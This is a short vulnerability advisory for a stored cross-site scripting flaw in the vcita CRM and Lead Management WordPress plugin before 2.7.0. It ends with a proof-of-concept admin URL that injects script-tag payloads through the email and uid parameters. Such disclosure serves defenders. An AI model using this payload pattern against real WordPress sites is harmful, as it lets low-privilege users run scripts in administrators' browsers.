CRM and Lead Management by vcita < 2.7.0 - Contributor+ Stored Cross-Site Scripting

2023-06-0200:00:00

wpvulndb

crm

lead management

cross-site scripting

vcita

security exploit

EPSS

0.001

Percentile

39.4%

JSON

The plugin does not sanitize and escape the email and uid parameters in the plugin settings before rendering it on the page, which could allow users with roles as low as contributor to inject arbitrary web scripts targeting high privilege users such as administrators.

https://example.com/wp-admin/admin.php?page=crm-customer-relationship-management-by-vcita/vcita-callback.php&success=true&first_name=a-a&last_name=b&title=c&confirmation_token=d&confirmed=true&engage_delay=1&implementation_key=1&email=a“/><script>alert(1);</script>&uid=a”</script><script>alert(2);</script>